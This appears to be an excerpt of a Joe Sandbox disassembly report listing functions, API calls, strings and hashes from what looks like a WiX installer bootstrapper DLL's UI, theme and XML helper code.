GlobalLock.KERNEL32(00000000,00000000), ref: 6C68AB3A
GetLastError.KERNEL32 ref: 6C68AB46
_memmove.LIBCMT ref: 6C68AB71
GlobalUnlock.KERNEL32(00000000), ref: 6C68AB7A
CreateStreamOnHGlobal.OLE32(00000000,00000001,?), ref: 6C68AB87
GdipAlloc.GDIPLUS(00000010), ref: 6C68AB9B
GdipCreateBitmapFromStream.GDIPLUS(?,?,00000010), ref: 6C68ABB4
GlobalFree.KERNEL32(00000000), ref: 6C68AC28

Strings

gdiputil.cpp, xrefs: 6C68AB29, 6C68ABD2, 6C68ABF3

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: Global$ErrorLast$AllocCreateGdipStream$BitmapFindFreeFromLockResourceUnlock_memmove
String ID: gdiputil.cpp
API String ID: 3260388689-3769319569
Opcode ID: f28315c83dc8d412bb089466b2c8c9fb0d845a308079b39af8c4cc34312c3038
Instruction ID: 12e94cc4779e276445d8de3d1f072406f33c8d2aa6bfd8fa4e70e3c6b235086b
Opcode Fuzzy Hash: f28315c83dc8d412bb089466b2c8c9fb0d845a308079b39af8c4cc34312c3038
Instruction Fuzzy Hash: 1F412672A02106AFDB109FA4C8C4E9EBBB6EF85714F10453DFA11EB681D73489418B7D

Function 6C68EA05 Relevance: 13.7, APIs: 9, Instructions: 196COMMONLIBRARYCODE

Download Yara Rule

APIs

GetStartupInfoW.KERNEL32(6C697DD8,6C68BC56), ref: 6C68EA12
__calloc_crt.LIBCMT ref: 6C68EA1E

Part of subcall function 6C68E6A5: Sleep.KERNEL32(00000000,?,6C68BC56,?), ref: 6C68E6CD

__calloc_crt.LIBCMT ref: 6C68EABE
GetFileType.KERNEL32(74C08559,00000001,6C68BC56), ref: 6C68EB45

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: __calloc_crt$FileInfoSleepStartupType
String ID:
API String ID: 591920814-0
Opcode ID: d8977ec9ba889ef123a1cd04ba125b1bb62b92a4fcd10f7cd7e0a71ae69c69bc
Instruction ID: a07084adf8844515b3a9bf73162eca784357f4aa652fd301898939734d2d493e
Opcode Fuzzy Hash: d8977ec9ba889ef123a1cd04ba125b1bb62b92a4fcd10f7cd7e0a71ae69c69bc
Instruction Fuzzy Hash: FC61F279A063028FE710CF29C988B497BB0BF06738F244769D4669B6D1D730D8458BED

Function 6C6816F9 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 66synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C681713
CloseHandle.KERNEL32(?), ref: 6C681724

Strings

The prerequisites were already installed. The bootstrapper application will not be reloaded to prevent an infinite loop., xrefs: 6C681781
The prerequisites were successfully installed. The bootstrapper application will be reloaded., xrefs: 6C681766
A restart is required by the prerequisites but the user delayed it. The bootstrapper application will be reloaded after the computer is restarted., xrefs: 6C681756
The prerequisites were not successfully installed, error: 0x%x. The bootstrapper application will be not reloaded., xrefs: 6C68179F
The prerequisites scheduled a restart. The bootstrapper application will be reloaded after the computer is restarted., xrefs: 6C68174F, 6C68175B

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: CloseHandleObjectSingleWait
String ID: A restart is required by the prerequisites but the user delayed it. The bootstrapper application will be reloaded after the computer is restarted.$The prerequisites scheduled a restart. The bootstrapper application will be reloaded after the computer is restarted.$The prerequisites were already installed. The bootstrapper application will not be reloaded to prevent an infinite loop.$The prerequisites were not successfully installed, error: 0x%x. The bootstrapper application will be not reloaded.$The prerequisites were successfully installed. The bootstrapper application will be reloaded.
API String ID: 528846559-3443529724
Opcode ID: e9b5ef08efacaab1e0c6451caf5021f98d43fff5f481edb9ffd3fdbd5efb2c77
Instruction ID: 1bd5baa43e80891dfff265894ac22e1cb7dd9aa624e8fb98f19225eff3e380ab
Opcode Fuzzy Hash: e9b5ef08efacaab1e0c6451caf5021f98d43fff5f481edb9ffd3fdbd5efb2c77
Instruction Fuzzy Hash: 3211CD31647F01AFDB104A699C81FDA73E59745729F300B1FE1799A980D772E441867C

Function 6C686DC5 Relevance: 12.1, APIs: 8, Instructions: 124windowCOMMON

Download Yara Rule

APIs

CreateCompatibleDC.GDI32(?), ref: 6C686E1F
SelectObject.GDI32(00000000,?), ref: 6C686E37
StretchBlt.GDI32(00CC0020,00000000,00000000,00000001,?,?,?,?,00000001,?,00CC0020), ref: 6C686E64
StretchBlt.GDI32(00CC0020,00000001,00000000,?,?,?,?,?,00000001,?,00CC0020), ref: 6C686E89
StretchBlt.GDI32(00CC0020,?,00000000,?,?,?,?,?,00000001,?,00CC0020), ref: 6C686EB9
StretchBlt.GDI32(00CC0020,?,00000000,00000001,?,?,?,?,00000001,?,00CC0020), ref: 6C686ED9
SelectObject.GDI32(?,?), ref: 6C686EE1
DeleteDC.GDI32(?), ref: 6C686EEA

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: Stretch$ObjectSelect$CompatibleCreateDelete
String ID:
API String ID: 4055300212-0
Opcode ID: 048016bda2978c2b3b31a360fd4a841bfad626b25f087005f601e416ca3f63ea
Instruction ID: 1b9c2f9ae5f638e7db7680c14dee7c37593477adba288ee9bda10ca08e6c85bc
Opcode Fuzzy Hash: 048016bda2978c2b3b31a360fd4a841bfad626b25f087005f601e416ca3f63ea
Instruction Fuzzy Hash: 4F410971A00209FFEF118F95CD85FAEBBB6FF48700F104158F601AA1A1D671AA51DB60

Function 6C686AFF Relevance: 10.6, APIs: 7, Instructions: 73windowCOMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000F0), ref: 6C686B0E
CreateCompatibleDC.GDI32(?), ref: 6C686B35
SelectObject.GDI32(?,?), ref: 6C686B4F
StretchBlt.GDI32(?,00000000,00000000,?,?,?,?,00000000,?,?,00CC0020), ref: 6C686B8C
DrawFocusRect.USER32(?,?), ref: 6C686BAA
SelectObject.GDI32(?,?), ref: 6C686BB6
DeleteDC.GDI32(?), ref: 6C686BBF

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: ObjectSelect$CompatibleCreateDeleteDrawFocusLongRectStretchWindow
String ID:
API String ID: 2155554087-0
Opcode ID: aced03207bb2ed0d5549d8cff2cf0cd6e0ac753f9ce2498f51988172183cf6f2
Instruction ID: 21489409dd471df822cef146683f8f7696f994e838db1a798fdf851c1ef4c073
Opcode Fuzzy Hash: aced03207bb2ed0d5549d8cff2cf0cd6e0ac753f9ce2498f51988172183cf6f2
Instruction Fuzzy Hash: E5217C71601609FFCB118FA1C984F9EBFF4FF09748F104668EA4296660D330E9A4DBA4

Function 6C682440 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 64windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 6C6824C0

Strings

LaunchTarget, xrefs: 6C68244E, 6C682453, 6C682465
Failed to get launch target variable '%ls'., xrefs: 6C682466
Failed to format launch target variable: %ls, xrefs: 6C682480
Failed to launch target: %ls, xrefs: 6C6824A6
open, xrefs: 6C682491

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: MessagePost
String ID: Failed to format launch target variable: %ls$Failed to get launch target variable '%ls'.$Failed to launch target: %ls$LaunchTarget$open
API String ID: 410705778-3308791003
Opcode ID: 1ee7f48a6eb493691f001018309bf8e7af9ab893cb02b38e12c3c688a2b06f2c
Instruction ID: a002f43fa00de7deabc395f4f0ab19238a4d40d50692b2e5b763f5df87f9b012
Opcode Fuzzy Hash: 1ee7f48a6eb493691f001018309bf8e7af9ab893cb02b38e12c3c688a2b06f2c
Instruction Fuzzy Hash: 4B1148B1906209BFEF109ED4DD84DEEBB7DEF06298F10457AF200B1910C6714E589ABD

Function 6C68E201 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,6C69A138,00000008,6C68E309,00000000,00000000,?,00000000,6C68CE43,6C68E0F0,?,?,6C68BC56,?), ref: 6C68E212
__lock.LIBCMT ref: 6C68E246

Part of subcall function 6C6910DD: __mtinitlocknum.LIBCMT ref: 6C6910F3
Part of subcall function 6C6910DD: __amsg_exit.LIBCMT ref: 6C6910FF
Part of subcall function 6C6910DD: EnterCriticalSection.KERNEL32(6C68BC56,6C68BC56,?,6C68E24B,0000000D), ref: 6C691107

InterlockedIncrement.KERNEL32(00342DE8), ref: 6C68E253
__lock.LIBCMT ref: 6C68E267
___addlocaleref.LIBCMT ref: 6C68E285

Strings

KERNEL32.DLL, xrefs: 6C68E20D

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: __lock$CriticalEnterHandleIncrementInterlockedModuleSection___addlocaleref__amsg_exit__mtinitlocknum
String ID: KERNEL32.DLL
API String ID: 637971194-2576044830
Opcode ID: 2a8a1156570cf1c04fa805b5b0cf698802c279ad013c6a9316a09da41cdcd1c5
Instruction ID: e000b0c0ca0ce1cc1ee6e3cee73d56c9b861afe04fc4569a141972a49475b8cd
Opcode Fuzzy Hash: 2a8a1156570cf1c04fa805b5b0cf698802c279ad013c6a9316a09da41cdcd1c5
Instruction Fuzzy Hash: 1201C075805702EFD7209F66C405789BBF0AF02328F20890ED4D697BA0CBB0A648CF6D

Function 6C68993C Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 33COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 6C68994B
InterlockedIncrement.KERNEL32(6C69D11C), ref: 6C689968
CLSIDFromProgID.OLE32(Msxml2.DOMDocument,6C69D10C,?,?,?,?,?,?,?,6C684057,?), ref: 6C689983
CLSIDFromProgID.OLE32(MSXML.DOMDocument,6C69D10C,?,?,?,?,?,?,?,6C684057,?), ref: 6C68998F

Strings

Msxml2.DOMDocument, xrefs: 6C68997E
MSXML.DOMDocument, xrefs: 6C68998A

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: FromProg$IncrementInitializeInterlocked
String ID: MSXML.DOMDocument$Msxml2.DOMDocument
API String ID: 2109125048-2356320334
Opcode ID: f6393544c4e4a525a3d948feadc97c7df151a79eb56ac9dcdee3a4507e955cb3
Instruction ID: 5a703b6c9c0383d71348b3603c333a81f874c62cfe6216147fc42af4656866b6
Opcode Fuzzy Hash: f6393544c4e4a525a3d948feadc97c7df151a79eb56ac9dcdee3a4507e955cb3
Instruction Fuzzy Hash: 0CF065227071235EDF111E638D48B0F3F799783B5DF191535E945E6804D620C442CABD

Function 6C684517 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,000000FF,00000000,00000000,00000000,00000000,?,?,?,?,6C68B171,?,?,00000000), ref: 6C684565
GetLastError.KERNEL32(?,?,?,6C68B171,?,?,00000000,0000FDE9,?,?,?,00000000,00000000,0000003D,0000003D), ref: 6C68456B

Part of subcall function 6C68A699: GetProcessHeap.KERNEL32(00000000,?,?,6C684379,?,?,?,6C68B353,?,00000000,00000000,00000044,?,?,6C6815F0,WixBundleForcedRestartPackage), ref: 6C68A6A1
Part of subcall function 6C68A699: HeapSize.KERNEL32(00000000,?,6C684379,?,?,?,6C68B353,?,00000000,00000000,00000044,?,?,6C6815F0,WixBundleForcedRestartPackage,00000074), ref: 6C68A6A8

Strings

strutil.cpp, xrefs: 6C684641
W, xrefs: 6C684540

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: Heap$ByteCharErrorLastMultiProcessSizeWide
String ID: W$strutil.cpp
API String ID: 3662877508-3697633219
Opcode ID: 5dd4c30ee0b0225ec5ac3d928b2514a493c06feddc08d59b6df09f3443fa14cd
Instruction ID: 5f15a9fe17df3f9b4fcf17a6e33db2421c8feed3395d26872244c04dac3e49f0
Opcode Fuzzy Hash: 5dd4c30ee0b0225ec5ac3d928b2514a493c06feddc08d59b6df09f3443fa14cd
Instruction Fuzzy Hash: 8C41A5B160620AEFEB00CFA5CD94AAD77BCEF05354F204629E810EB6D4D7B5C9509B39

Function 6C68F80A Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 6C68F816

Part of subcall function 6C68E32E: __getptd_noexit.LIBCMT ref: 6C68E331
Part of subcall function 6C68E32E: __amsg_exit.LIBCMT ref: 6C68E33E

__amsg_exit.LIBCMT ref: 6C68F836
__lock.LIBCMT ref: 6C68F846
InterlockedDecrement.KERNEL32(?), ref: 6C68F863
_free.LIBCMT ref: 6C68F876
InterlockedIncrement.KERNEL32(03221668), ref: 6C68F88E

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3470314060-0
Opcode ID: 4439f88f70d203c359cc2d60053490b8263c7820d40c0b6e7a228859ff2ce863
Instruction ID: 7dc0e2b5f53365b519b23708349924afe3bbb979ecaa2baa68f594dbb1ae3551
Opcode Fuzzy Hash: 4439f88f70d203c359cc2d60053490b8263c7820d40c0b6e7a228859ff2ce863
Instruction Fuzzy Hash: 0B015671A03612ABDB51AF66844579D77B0AF06729F500106D811A7F80C7749945CBFF

Function 6C686761 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 136COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(00000000), ref: 6C6868D5

Part of subcall function 6C68A652: GetProcessHeap.KERNEL32(?,?,?,6C6842E5,?,00000001,?,00000000,?,6C68B383,?,00000000,?,?,6C6815F0,WixBundleForcedRestartPackage), ref: 6C68A663
Part of subcall function 6C68A652: RtlAllocateHeap.NTDLL(00000000,?,6C6842E5,?,00000001,?,00000000,?,6C68B383,?,00000000,?,?,6C6815F0,WixBundleForcedRestartPackage,00000074), ref: 6C68A66A

SysFreeString.OLEAUT32(?), ref: 6C686892

Strings

Width, xrefs: 6C686830
thmutil.cpp, xrefs: 6C6867E9
Column|c, xrefs: 6C68676F

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: FreeHeapString$AllocateProcess
String ID: Column|c$Width$thmutil.cpp
API String ID: 336948655-763436584
Opcode ID: a6deb3497ea904e106fd3bbec36030970f88e92e3c34ec042b112d84239b5da7
Instruction ID: e865ddc8fe8e0c899ae8893e397443363cc833be276385cdc970884a3b7f086c
Opcode Fuzzy Hash: a6deb3497ea904e106fd3bbec36030970f88e92e3c34ec042b112d84239b5da7
Instruction Fuzzy Hash: 8E419271D12629AFEB119FA4CC84EAEB7B8AF01718F4005A4E804EB650D731DD44CBB8

Function 6C689649 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 128COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(00000000), ref: 6C689780

Part of subcall function 6C68A652: GetProcessHeap.KERNEL32(?,?,?,6C6842E5,?,00000001,?,00000000,?,6C68B383,?,00000000,?,?,6C6815F0,WixBundleForcedRestartPackage), ref: 6C68A663
Part of subcall function 6C68A652: RtlAllocateHeap.NTDLL(00000000,?,6C6842E5,?,00000001,?,00000000,?,6C68B383,?,00000000,?,?,6C6815F0,WixBundleForcedRestartPackage,00000074), ref: 6C68A66A

SysFreeString.OLEAUT32(00000000), ref: 6C689739

Strings

thmutil.cpp, xrefs: 6C6896B8
Page, xrefs: 6C689657
Name, xrefs: 6C6896F5

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: FreeHeapString$AllocateProcess
String ID: Name$Page$thmutil.cpp
API String ID: 336948655-656149238
Opcode ID: e158d92abf182fbc6a1eae23452444a06aded9f99442ddf8d0d3c1f52db08204
Instruction ID: 41dcd3a089b07bfc1e30af6a2ecf20167b8e1b22e8d8b52e2f34544122a04f17
Opcode Fuzzy Hash: e158d92abf182fbc6a1eae23452444a06aded9f99442ddf8d0d3c1f52db08204
Instruction Fuzzy Hash: E4417F76902219BFCF01CFA4CC8499E7BB9EF8471CF2044A5E825E7610DB31DA41CBA8

Function 6C685951 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 6C689FA8: SysAllocString.OLEAUT32(?), ref: 6C689FBB
Part of subcall function 6C689FA8: VariantInit.OLEAUT32(?), ref: 6C689FC7
Part of subcall function 6C689FA8: VariantClear.OLEAUT32(?), ref: 6C68A03B
Part of subcall function 6C689FA8: SysFreeString.OLEAUT32(00000000), ref: 6C68A046

SysFreeString.OLEAUT32(00000001), ref: 6C68599C
SysFreeString.OLEAUT32(00000000), ref: 6C685A39

Strings

Width, xrefs: 6C6859E0
Height, xrefs: 6C6859F9
Control, xrefs: 6C685964

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: String$Free$Variant$AllocClearInit
String ID: Control$Height$Width
API String ID: 3564436086-3248737062
Opcode ID: 704be9da75fdd20684c454d8f359445516978770a72557ef0626b595a376f260
Instruction ID: 657225e29e53b294769b315adb2df66f6d2a475fbadce51d5c11804e91a35cc5
Opcode Fuzzy Hash: 704be9da75fdd20684c454d8f359445516978770a72557ef0626b595a376f260
Instruction Fuzzy Hash: 4821D232402605FFDB028FA0CCC09DE7BB9AF46268B250429F916A7A10DB35DE049B7C

Function 6C68A054 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000000), ref: 6C68A06A
SysAllocString.OLEAUT32(?), ref: 6C68A086
VariantClear.OLEAUT32(?), ref: 6C68A10D
SysFreeString.OLEAUT32(00000000), ref: 6C68A118

Strings

xmlutil.cpp, xrefs: 6C68A09D

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: StringVariant$AllocClearFreeInit
String ID: xmlutil.cpp
API String ID: 760788290-1270936966
Opcode ID: 2dccb77a6d2840367fc661897d735d79c9748003ddef9b7053f9414ae0b06d9a
Instruction ID: 882bd8fb172f4e3c77b240395e498c74b8ff21e5d956a33df85291cb1ba55564
Opcode Fuzzy Hash: 2dccb77a6d2840367fc661897d735d79c9748003ddef9b7053f9414ae0b06d9a
Instruction Fuzzy Hash: DE219572A02219EFDF009FE4C888EAE7779AF05759F104164ED01EB691E771DD40DBA8

Function 6C687A84 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 70windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 6C687A98
SendMessageW.USER32(?,00000402,?,00000000), ref: 6C687AF4
InvalidateRect.USER32(?,00000000,00000000,00000000,?,?,6C683505,?,00000411,?,?,00000412,?), ref: 6C687B03
GetLastError.KERNEL32(?,?,6C683505,?,00000411,?,?,00000412,?), ref: 6C687B0D

Strings

thmutil.cpp, xrefs: 6C687B32

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: ErrorInvalidateItemLastMessageRectSend
String ID: thmutil.cpp
API String ID: 3203272787-2961750086
Opcode ID: bffd4f667b575fbcef169716069d9ee3129ebc5fb51d90f84c36ec0313dc8b61
Instruction ID: f2a2c54d93a9ff9fbb4f86a5f0df8fbaa3d2a3ecb5df49f891551d3b5582ed1d
Opcode Fuzzy Hash: bffd4f667b575fbcef169716069d9ee3129ebc5fb51d90f84c36ec0313dc8b61
Instruction Fuzzy Hash: 8921247170611AAFDB104F26CC84D6A77B6FF45719B20823AF115CA820D274C840DB3D

Function 6C682298 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6C6822BD
SHBrowseForFolderW.SHELL32(?), ref: 6C68230A
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 6C68231E
CoTaskMemFree.OLE32(00000000), ref: 6C682340

Part of subcall function 6C6862CE: GetDlgItem.USER32(?,00000024), ref: 6C6862DD
Part of subcall function 6C6862CE: SetWindowTextW.USER32(00000000,6C69C028), ref: 6C6862EB
Part of subcall function 6C6862CE: GetLastError.KERNEL32(?,?,6C6820B2,?,?,?,?,?,?,6C69C000,?,00000009,?,?,?,6C69C028), ref: 6C6862F5

Strings

Q, xrefs: 6C682300

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: BrowseErrorFolderFreeFromItemLastListPathTaskTextWindow_memset
String ID: Q
API String ID: 540785508-3463352047
Opcode ID: 762d3332bef7f74191ccbd04080206d8de99b6655efb03d7036bafc84d08b24b
